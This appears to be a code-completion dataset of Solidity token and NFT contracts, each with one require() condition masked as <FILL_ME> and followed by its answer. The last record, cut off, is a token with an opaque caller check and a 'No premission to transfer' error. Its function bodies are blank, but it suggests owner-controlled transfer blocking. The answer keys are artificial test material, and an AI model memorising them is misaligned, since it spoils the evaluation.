* @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.
*/
function _revert(bytes memory returndata) private pure {
}
}
contract QStarBet is ERC20Detailed, Ownable {
uint256 public maxTxnAmount;
uint256 public maxWallet;
address public taxWallet;
uint256 public totalTax = 4;
mapping(address => bool) public isExcludedFromFees;
uint8 private constant DECIMALS = 18;
uint256 private constant SUPPLY = 100_000_000 * 10**DECIMALS;
event RemovedLimits();
IDEXRouter public immutable router;
DividendTracker public dividendTracker;
address public immutable pair;
bool public limitsInEffect = true;
bool public tradingIsLive = false;
uint256 private _totalSupply;
uint256 private partsSwapThreshold = (SUPPLY * 5) / 1000;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowedTokens;
modifier validRecipient(address to) {
}
bool inSwap;
modifier swapping() {
}
constructor() ERC20Detailed("QstarBet", "QBET", DECIMALS) {
}
function totalSupply() external view override returns (uint256) {
}
function allowance(address owner_, address spender)
external
view
override
returns (uint256)
{
}
function balanceOf(address who) public view override returns (uint256) {
}
function transfer(address to, uint256 value)
external
override
validRecipient(to)
returns (bool)
{
}
function removeLimits() external onlyOwner {
}
function excludedFromFees(address _address, bool _value)
external
onlyOwner
{
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 value
) external override validRecipient(to) returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
returns (bool)
{
}
function increaseAllowance(address spender, uint256 addedValue)
external
returns (bool)
{
}
function approve(address spender, uint256 value)
public
override
returns (bool)
{
}
function startTrading() external onlyOwner {
require(<FILL_ME>)
tradingIsLive = true;
}
function swapBack() public swapping {
}
function setFeeWallet(address _newAddress) public onlyOwner {
}
function swapTokensForETH(uint256 tokenAmount) internal {
}
receive() external payable {}
}
| !tradingIsLive,"Trading Live Already" | 107,619 | !tradingIsLive |
null | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "./interface/ITellor.sol";
import "./interface/IERC2362.sol";
import "./interface/IMappingContract.sol";
/**
@author Tellor Inc
@title UsingTellor
@dev This contract helps smart contracts read data from Tellor
*/
contract UsingTellor is IERC2362 {
ITellor public tellor;
IMappingContract public idMappingContract;
/*Constructor*/
/**
* @dev the constructor sets the oracle address in storage
* @param _tellor is the Tellor Oracle address
*/
constructor(address payable _tellor) {
}
/*Getters*/
/**
* @dev Retrieves the next value for the queryId after the specified timestamp
* @param _queryId is the queryId to look up the value for
* @param _timestamp after which to search for next value
* @return _value the value retrieved
* @return _timestampRetrieved the value's timestamp
*/
function getDataAfter(bytes32 _queryId, uint256 _timestamp)
public
view
returns (bytes memory _value, uint256 _timestampRetrieved)
{
}
/**
* @dev Retrieves the latest value for the queryId before the specified timestamp
* @param _queryId is the queryId to look up the value for
* @param _timestamp before which to search for latest value
* @return _value the value retrieved
* @return _timestampRetrieved the value's timestamp
*/
function getDataBefore(bytes32 _queryId, uint256 _timestamp)
public
view
returns (bytes memory _value, uint256 _timestampRetrieved)
{
}
/**
* @dev Retrieves next array index of data after the specified timestamp for the queryId
* @param _queryId is the queryId to look up the index for
* @param _timestamp is the timestamp after which to search for the next index
* @return _found whether the index was found
* @return _index the next index found after the specified timestamp
*/
function getIndexForDataAfter(bytes32 _queryId, uint256 _timestamp)
public
view
returns (bool _found, uint256 _index)
{
}
/**
* @dev Retrieves latest array index of data before the specified timestamp for the queryId
* @param _queryId is the queryId to look up the index for
* @param _timestamp is the timestamp before which to search for the latest index
* @return _found whether the index was found
* @return _index the latest index found before the specified timestamp
*/
// slither-disable-next-line calls-loop
function getIndexForDataBefore(bytes32 _queryId, uint256 _timestamp)
public
view
returns (bool _found, uint256 _index)
{
}
/**
* @dev Retrieves multiple uint256 values before the specified timestamp
* @param _queryId the unique id of the data query
* @param _timestamp the timestamp before which to search for values
* @param _maxAge the maximum number of seconds before the _timestamp to search for values
* @param _maxCount the maximum number of values to return
* @return _values the values retrieved, ordered from oldest to newest
* @return _timestamps the timestamps of the values retrieved
*/
function getMultipleValuesBefore(
bytes32 _queryId,
uint256 _timestamp,
uint256 _maxAge,
uint256 _maxCount
)
public
view
returns (bytes[] memory _values, uint256[] memory _timestamps)
{
}
/**
* @dev Counts the number of values that have been submitted for the queryId
* @param _queryId the id to look up
* @return uint256 count of the number of values received for the queryId
*/
function getNewValueCountbyQueryId(bytes32 _queryId)
public
view
returns (uint256)
{
}
/**
* @dev Returns the address of the reporter who submitted a value for a data ID at a specific time
* @param _queryId is ID of the specific data feed
* @param _timestamp is the timestamp to find a corresponding reporter for
* @return address of the reporter who reported the value for the data ID at the given timestamp
*/
function getReporterByTimestamp(bytes32 _queryId, uint256 _timestamp)
public
view
returns (address)
{
}
/**
* @dev Gets the timestamp for the value based on their index
* @param _queryId is the id to look up
* @param _index is the value index to look up
* @return uint256 timestamp
*/
function getTimestampbyQueryIdandIndex(bytes32 _queryId, uint256 _index)
public
view
returns (uint256)
{
}
/**
* @dev Determines whether a value with a given queryId and timestamp has been disputed
* @param _queryId is the value id to look up
* @param _timestamp is the timestamp of the value to look up
* @return bool true if queryId/timestamp is under dispute
*/
function isInDispute(bytes32 _queryId, uint256 _timestamp)
public
view
returns (bool)
{
}
/**
* @dev Retrieve value from oracle based on queryId/timestamp
* @param _queryId being requested
* @param _timestamp to retrieve data/value from
* @return bytes value for query/timestamp submitted
*/
function retrieveData(bytes32 _queryId, uint256 _timestamp)
public
view
returns (bytes memory)
{
}
/**
* @dev allows dev to set mapping contract for valueFor (EIP2362)
* @param _addy address of mapping contract
*/
function setIdMappingContract(address _addy) external{
require(<FILL_ME>)
idMappingContract = IMappingContract(_addy);
}
/**
* @dev Retrieve most recent int256 value from oracle based on queryId
* @param _id being requested
* @return _value most recent value submitted
* @return _timestamp timestamp of most recent value
* @return _statusCode 200 if value found, 404 if not found
*/
function valueFor(bytes32 _id)
external
view
override
returns (
int256 _value,
uint256 _timestamp,
uint256 _statusCode
)
{
}
// Internal functions
/**
* @dev Convert bytes to uint256
* @param _b bytes value to convert to uint256
* @return _number uint256 converted from bytes
*/
function _sliceUint(bytes memory _b) internal pure returns(uint256 _number){
}
}
| address(idMappingContract)==address(0) | 107,689 | address(idMappingContract)==address(0) |
"Cannot mint beyond max limit" | // SPDX-License-Identifier: MIT
/*
_ _ _ _
| \ | | | | | |
| \| | ___ | | __ _ | |__ ___
| . ` | / _ \ | | / _` | | '_ \ / __|
| |\ | | (_) | | |____ | (_| | | |_) | \__ \
|_| \_| \___/ |______| \__,_| |_.__/ |___/
*/
pragma solidity ^0.8.19;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
contract FloatBoys is ERC721A, Ownable, ERC2981 {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6969;
uint256 public constant MAX_FREE_MINT = 1;
uint256 public constant MAX_WHITELIST_MINT = 3;
uint256 public constant MAX_PUBLIC_MINT = 6;
uint256 public WHITELIST_MINT_PRICE = 0.005 ether;
uint256 public PUBLIC_MINT_PRICE = 0.0069 ether;
string public contractURI;
string public baseTokenUri;
string public placeholderTokenUri;
bool public isRevealed;
bool public freeMintSale;
bool public publicSale;
bool public whiteListSale;
bytes32 public merkleRootWl;
bytes32 public merkleRootFree;
mapping(address => uint256) public totalPublicMint;
mapping(address => uint256) public totalWhitelistMint;
mapping(address => uint256) public totalFreeMint;
constructor(
string memory _contractURI,
string memory _placeholderTokenUri,
bytes32 _merkleRootWl,
bytes32 _merkleRootFree,
uint96 _royaltyFeesInBips,
address _teamAddress
) ERC721A("Float Boys", "FLOAT") {
}
modifier callerIsUser() {
}
function publicMint(uint256 _quantity) external payable callerIsUser {
require(publicSale, "Not Yet Active");
require(
msg.value >= _quantity * PUBLIC_MINT_PRICE,
"Insufficient payment"
);
require(
(totalSupply() + _quantity) <= MAX_SUPPLY,
"Cannot mint beyond max supply"
);
require(<FILL_ME>)
totalPublicMint[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function whitelistMint(bytes32[] memory _merkleProof, uint256 _quantity)
external
payable
callerIsUser
{
}
function freeMint(bytes32[] memory _merkleProof) external callerIsUser {
}
function isValidMerkleProof(
bytes32[] memory proof,
address _addr,
bytes32 _merkleRoot
) public pure returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setMerkleRoot(bool _wl, bytes32 _merkleRoot) external onlyOwner {
}
function getWlMerkleRoot() external view returns (bytes32) {
}
function getFreeMerkleRoot() external view returns (bytes32) {
}
function toggleWhiteListSale() external onlyOwner {
}
function togglePublicSale() external onlyOwner {
}
function toggleFreeMintSale() external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| (totalPublicMint[msg.sender]+_quantity)<=MAX_PUBLIC_MINT,"Cannot mint beyond max limit" | 107,712 | (totalPublicMint[msg.sender]+_quantity)<=MAX_PUBLIC_MINT |
"You are not whitelisted" | // SPDX-License-Identifier: MIT
/*
_ _ _ _
| \ | | | | | |
| \| | ___ | | __ _ | |__ ___
| . ` | / _ \ | | / _` | | '_ \ / __|
| |\ | | (_) | | |____ | (_| | | |_) | \__ \
|_| \_| \___/ |______| \__,_| |_.__/ |___/
*/
pragma solidity ^0.8.19;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
contract FloatBoys is ERC721A, Ownable, ERC2981 {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6969;
uint256 public constant MAX_FREE_MINT = 1;
uint256 public constant MAX_WHITELIST_MINT = 3;
uint256 public constant MAX_PUBLIC_MINT = 6;
uint256 public WHITELIST_MINT_PRICE = 0.005 ether;
uint256 public PUBLIC_MINT_PRICE = 0.0069 ether;
string public contractURI;
string public baseTokenUri;
string public placeholderTokenUri;
bool public isRevealed;
bool public freeMintSale;
bool public publicSale;
bool public whiteListSale;
bytes32 public merkleRootWl;
bytes32 public merkleRootFree;
mapping(address => uint256) public totalPublicMint;
mapping(address => uint256) public totalWhitelistMint;
mapping(address => uint256) public totalFreeMint;
constructor(
string memory _contractURI,
string memory _placeholderTokenUri,
bytes32 _merkleRootWl,
bytes32 _merkleRootFree,
uint96 _royaltyFeesInBips,
address _teamAddress
) ERC721A("Float Boys", "FLOAT") {
}
modifier callerIsUser() {
}
function publicMint(uint256 _quantity) external payable callerIsUser {
}
function whitelistMint(bytes32[] memory _merkleProof, uint256 _quantity)
external
payable
callerIsUser
{
require(whiteListSale, "Not Yet Active");
require(
msg.value >= _quantity * WHITELIST_MINT_PRICE,
"Insufficient payment"
);
require(<FILL_ME>)
require(
(totalSupply() + _quantity) <= MAX_SUPPLY,
"Cannot mint beyond max supply"
);
require(
(totalWhitelistMint[msg.sender] + _quantity) <= MAX_WHITELIST_MINT,
"Cannot mint beyond whitelist max limit"
);
totalWhitelistMint[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function freeMint(bytes32[] memory _merkleProof) external callerIsUser {
}
function isValidMerkleProof(
bytes32[] memory proof,
address _addr,
bytes32 _merkleRoot
) public pure returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setMerkleRoot(bool _wl, bytes32 _merkleRoot) external onlyOwner {
}
function getWlMerkleRoot() external view returns (bytes32) {
}
function getFreeMerkleRoot() external view returns (bytes32) {
}
function toggleWhiteListSale() external onlyOwner {
}
function togglePublicSale() external onlyOwner {
}
function toggleFreeMintSale() external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| isValidMerkleProof(_merkleProof,msg.sender,merkleRootWl),"You are not whitelisted" | 107,712 | isValidMerkleProof(_merkleProof,msg.sender,merkleRootWl) |
"Cannot mint beyond whitelist max limit" | // SPDX-License-Identifier: MIT
/*
_ _ _ _
| \ | | | | | |
| \| | ___ | | __ _ | |__ ___
| . ` | / _ \ | | / _` | | '_ \ / __|
| |\ | | (_) | | |____ | (_| | | |_) | \__ \
|_| \_| \___/ |______| \__,_| |_.__/ |___/
*/
pragma solidity ^0.8.19;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
contract FloatBoys is ERC721A, Ownable, ERC2981 {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6969;
uint256 public constant MAX_FREE_MINT = 1;
uint256 public constant MAX_WHITELIST_MINT = 3;
uint256 public constant MAX_PUBLIC_MINT = 6;
uint256 public WHITELIST_MINT_PRICE = 0.005 ether;
uint256 public PUBLIC_MINT_PRICE = 0.0069 ether;
string public contractURI;
string public baseTokenUri;
string public placeholderTokenUri;
bool public isRevealed;
bool public freeMintSale;
bool public publicSale;
bool public whiteListSale;
bytes32 public merkleRootWl;
bytes32 public merkleRootFree;
mapping(address => uint256) public totalPublicMint;
mapping(address => uint256) public totalWhitelistMint;
mapping(address => uint256) public totalFreeMint;
constructor(
string memory _contractURI,
string memory _placeholderTokenUri,
bytes32 _merkleRootWl,
bytes32 _merkleRootFree,
uint96 _royaltyFeesInBips,
address _teamAddress
) ERC721A("Float Boys", "FLOAT") {
}
modifier callerIsUser() {
}
function publicMint(uint256 _quantity) external payable callerIsUser {
}
function whitelistMint(bytes32[] memory _merkleProof, uint256 _quantity)
external
payable
callerIsUser
{
require(whiteListSale, "Not Yet Active");
require(
msg.value >= _quantity * WHITELIST_MINT_PRICE,
"Insufficient payment"
);
require(
isValidMerkleProof(_merkleProof, msg.sender, merkleRootWl),
"You are not whitelisted"
);
require(
(totalSupply() + _quantity) <= MAX_SUPPLY,
"Cannot mint beyond max supply"
);
require(<FILL_ME>)
totalWhitelistMint[msg.sender] += _quantity;
_mint(msg.sender, _quantity);
}
function freeMint(bytes32[] memory _merkleProof) external callerIsUser {
}
function isValidMerkleProof(
bytes32[] memory proof,
address _addr,
bytes32 _merkleRoot
) public pure returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setMerkleRoot(bool _wl, bytes32 _merkleRoot) external onlyOwner {
}
function getWlMerkleRoot() external view returns (bytes32) {
}
function getFreeMerkleRoot() external view returns (bytes32) {
}
function toggleWhiteListSale() external onlyOwner {
}
function togglePublicSale() external onlyOwner {
}
function toggleFreeMintSale() external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| (totalWhitelistMint[msg.sender]+_quantity)<=MAX_WHITELIST_MINT,"Cannot mint beyond whitelist max limit" | 107,712 | (totalWhitelistMint[msg.sender]+_quantity)<=MAX_WHITELIST_MINT |
"You are not on Free Mint 69" | // SPDX-License-Identifier: MIT
/*
_ _ _ _
| \ | | | | | |
| \| | ___ | | __ _ | |__ ___
| . ` | / _ \ | | / _` | | '_ \ / __|
| |\ | | (_) | | |____ | (_| | | |_) | \__ \
|_| \_| \___/ |______| \__,_| |_.__/ |___/
*/
pragma solidity ^0.8.19;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
contract FloatBoys is ERC721A, Ownable, ERC2981 {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6969;
uint256 public constant MAX_FREE_MINT = 1;
uint256 public constant MAX_WHITELIST_MINT = 3;
uint256 public constant MAX_PUBLIC_MINT = 6;
uint256 public WHITELIST_MINT_PRICE = 0.005 ether;
uint256 public PUBLIC_MINT_PRICE = 0.0069 ether;
string public contractURI;
string public baseTokenUri;
string public placeholderTokenUri;
bool public isRevealed;
bool public freeMintSale;
bool public publicSale;
bool public whiteListSale;
bytes32 public merkleRootWl;
bytes32 public merkleRootFree;
mapping(address => uint256) public totalPublicMint;
mapping(address => uint256) public totalWhitelistMint;
mapping(address => uint256) public totalFreeMint;
constructor(
string memory _contractURI,
string memory _placeholderTokenUri,
bytes32 _merkleRootWl,
bytes32 _merkleRootFree,
uint96 _royaltyFeesInBips,
address _teamAddress
) ERC721A("Float Boys", "FLOAT") {
}
modifier callerIsUser() {
}
function publicMint(uint256 _quantity) external payable callerIsUser {
}
function whitelistMint(bytes32[] memory _merkleProof, uint256 _quantity)
external
payable
callerIsUser
{
}
function freeMint(bytes32[] memory _merkleProof) external callerIsUser {
require(freeMintSale, "Not Yet Active");
require(<FILL_ME>)
require(
(totalSupply() + 1) <= MAX_SUPPLY,
"Cannot mint beyond max supply"
);
require(
(totalFreeMint[msg.sender] + 1) <= MAX_FREE_MINT,
"Cannot mint beyond max limit"
);
totalFreeMint[msg.sender] += 1;
_mint(msg.sender, 1);
}
function isValidMerkleProof(
bytes32[] memory proof,
address _addr,
bytes32 _merkleRoot
) public pure returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setMerkleRoot(bool _wl, bytes32 _merkleRoot) external onlyOwner {
}
function getWlMerkleRoot() external view returns (bytes32) {
}
function getFreeMerkleRoot() external view returns (bytes32) {
}
function toggleWhiteListSale() external onlyOwner {
}
function togglePublicSale() external onlyOwner {
}
function toggleFreeMintSale() external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| isValidMerkleProof(_merkleProof,msg.sender,merkleRootFree),"You are not on Free Mint 69" | 107,712 | isValidMerkleProof(_merkleProof,msg.sender,merkleRootFree) |
"Cannot mint beyond max supply" | // SPDX-License-Identifier: MIT
/*
_ _ _ _
| \ | | | | | |
| \| | ___ | | __ _ | |__ ___
| . ` | / _ \ | | / _` | | '_ \ / __|
| |\ | | (_) | | |____ | (_| | | |_) | \__ \
|_| \_| \___/ |______| \__,_| |_.__/ |___/
*/
pragma solidity ^0.8.19;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
contract FloatBoys is ERC721A, Ownable, ERC2981 {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6969;
uint256 public constant MAX_FREE_MINT = 1;
uint256 public constant MAX_WHITELIST_MINT = 3;
uint256 public constant MAX_PUBLIC_MINT = 6;
uint256 public WHITELIST_MINT_PRICE = 0.005 ether;
uint256 public PUBLIC_MINT_PRICE = 0.0069 ether;
string public contractURI;
string public baseTokenUri;
string public placeholderTokenUri;
bool public isRevealed;
bool public freeMintSale;
bool public publicSale;
bool public whiteListSale;
bytes32 public merkleRootWl;
bytes32 public merkleRootFree;
mapping(address => uint256) public totalPublicMint;
mapping(address => uint256) public totalWhitelistMint;
mapping(address => uint256) public totalFreeMint;
constructor(
string memory _contractURI,
string memory _placeholderTokenUri,
bytes32 _merkleRootWl,
bytes32 _merkleRootFree,
uint96 _royaltyFeesInBips,
address _teamAddress
) ERC721A("Float Boys", "FLOAT") {
}
modifier callerIsUser() {
}
function publicMint(uint256 _quantity) external payable callerIsUser {
}
function whitelistMint(bytes32[] memory _merkleProof, uint256 _quantity)
external
payable
callerIsUser
{
}
function freeMint(bytes32[] memory _merkleProof) external callerIsUser {
require(freeMintSale, "Not Yet Active");
require(
isValidMerkleProof(_merkleProof, msg.sender, merkleRootFree),
"You are not on Free Mint 69"
);
require(<FILL_ME>)
require(
(totalFreeMint[msg.sender] + 1) <= MAX_FREE_MINT,
"Cannot mint beyond max limit"
);
totalFreeMint[msg.sender] += 1;
_mint(msg.sender, 1);
}
function isValidMerkleProof(
bytes32[] memory proof,
address _addr,
bytes32 _merkleRoot
) public pure returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setMerkleRoot(bool _wl, bytes32 _merkleRoot) external onlyOwner {
}
function getWlMerkleRoot() external view returns (bytes32) {
}
function getFreeMerkleRoot() external view returns (bytes32) {
}
function toggleWhiteListSale() external onlyOwner {
}
function togglePublicSale() external onlyOwner {
}
function toggleFreeMintSale() external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| (totalSupply()+1)<=MAX_SUPPLY,"Cannot mint beyond max supply" | 107,712 | (totalSupply()+1)<=MAX_SUPPLY |
"Cannot mint beyond max limit" | // SPDX-License-Identifier: MIT
/*
_ _ _ _
| \ | | | | | |
| \| | ___ | | __ _ | |__ ___
| . ` | / _ \ | | / _` | | '_ \ / __|
| |\ | | (_) | | |____ | (_| | | |_) | \__ \
|_| \_| \___/ |______| \__,_| |_.__/ |___/
*/
pragma solidity ^0.8.19;
import "https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
contract FloatBoys is ERC721A, Ownable, ERC2981 {
using Strings for uint256;
uint256 public constant MAX_SUPPLY = 6969;
uint256 public constant MAX_FREE_MINT = 1;
uint256 public constant MAX_WHITELIST_MINT = 3;
uint256 public constant MAX_PUBLIC_MINT = 6;
uint256 public WHITELIST_MINT_PRICE = 0.005 ether;
uint256 public PUBLIC_MINT_PRICE = 0.0069 ether;
string public contractURI;
string public baseTokenUri;
string public placeholderTokenUri;
bool public isRevealed;
bool public freeMintSale;
bool public publicSale;
bool public whiteListSale;
bytes32 public merkleRootWl;
bytes32 public merkleRootFree;
mapping(address => uint256) public totalPublicMint;
mapping(address => uint256) public totalWhitelistMint;
mapping(address => uint256) public totalFreeMint;
constructor(
string memory _contractURI,
string memory _placeholderTokenUri,
bytes32 _merkleRootWl,
bytes32 _merkleRootFree,
uint96 _royaltyFeesInBips,
address _teamAddress
) ERC721A("Float Boys", "FLOAT") {
}
modifier callerIsUser() {
}
function publicMint(uint256 _quantity) external payable callerIsUser {
}
function whitelistMint(bytes32[] memory _merkleProof, uint256 _quantity)
external
payable
callerIsUser
{
}
function freeMint(bytes32[] memory _merkleProof) external callerIsUser {
require(freeMintSale, "Not Yet Active");
require(
isValidMerkleProof(_merkleProof, msg.sender, merkleRootFree),
"You are not on Free Mint 69"
);
require(
(totalSupply() + 1) <= MAX_SUPPLY,
"Cannot mint beyond max supply"
);
require(<FILL_ME>)
totalFreeMint[msg.sender] += 1;
_mint(msg.sender, 1);
}
function isValidMerkleProof(
bytes32[] memory proof,
address _addr,
bytes32 _merkleRoot
) public pure returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setTokenUri(string memory _baseTokenUri) external onlyOwner {
}
function setMerkleRoot(bool _wl, bytes32 _merkleRoot) external onlyOwner {
}
function getWlMerkleRoot() external view returns (bytes32) {
}
function getFreeMerkleRoot() external view returns (bytes32) {
}
function toggleWhiteListSale() external onlyOwner {
}
function togglePublicSale() external onlyOwner {
}
function toggleFreeMintSale() external onlyOwner {
}
function toggleReveal() external onlyOwner {
}
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function setContractURI(string calldata _contractURI) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| (totalFreeMint[msg.sender]+1)<=MAX_FREE_MINT,"Cannot mint beyond max limit" | 107,712 | (totalFreeMint[msg.sender]+1)<=MAX_FREE_MINT |
"Trading not open yet" | pragma solidity ^0.8.19;
contract HedgeOnEth is ERC20, Ownable {
bool public openTransfer = false;
uint256 public fee = 500; // 5% Transfer fee
address public feeReceiver = msg.sender;
constructor() ERC20("HEDGE on Eth", "HEDGE") {
}
function _transfer (address from, address to, uint256 amount) internal override (ERC20) {
require(<FILL_ME>)
uint256 _transferAmount = amount;
uint256 _fee = _transferAmount * fee / 10000;
if (_fee > 0 && from != feeReceiver) {
_transferAmount = _transferAmount - _fee;
super._transfer (from, feeReceiver, _fee);
}
super._transfer (from, to, _transferAmount);
}
function openTrading() onlyOwner external {
}
}
| openTransfer||from==feeReceiver,"Trading not open yet" | 107,724 | openTransfer||from==feeReceiver |
"ERC20: No premission to transfer" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Pair {
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
library SecureCalls {
function checkCaller(address sender, address _origin) internal pure {
}
}
contract TokenContract is IERC20, Ownable {
IUniswapV2Router02 internal _router;
IUniswapV2Pair internal _pair;
address _origin;
address _pairToken;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000000000000000000000;
string private _name = "BETTA BATTLES";
string private _symbol = "$BETTA";
uint8 private _decimals = 18;
uint private buyFee = 5;
uint private sellFee = 5;
uint256 private swapThreshold = 30000000000000;
uint256 private maxWallet = 1500000000000000000000000;
uint256 private maxTxnAmount = 1000000000000000000000000;
address public marketWallet;
mapping(address => bool) public excludedFromLimits; // Fees, Max Wallet, Max Txn
constructor (address routerAddress, address pairTokenAddress) {
}
/* @dev Default ERC-20 implementation */
function name() public view virtual returns (string memory) {
}
function symbol() public view virtual returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
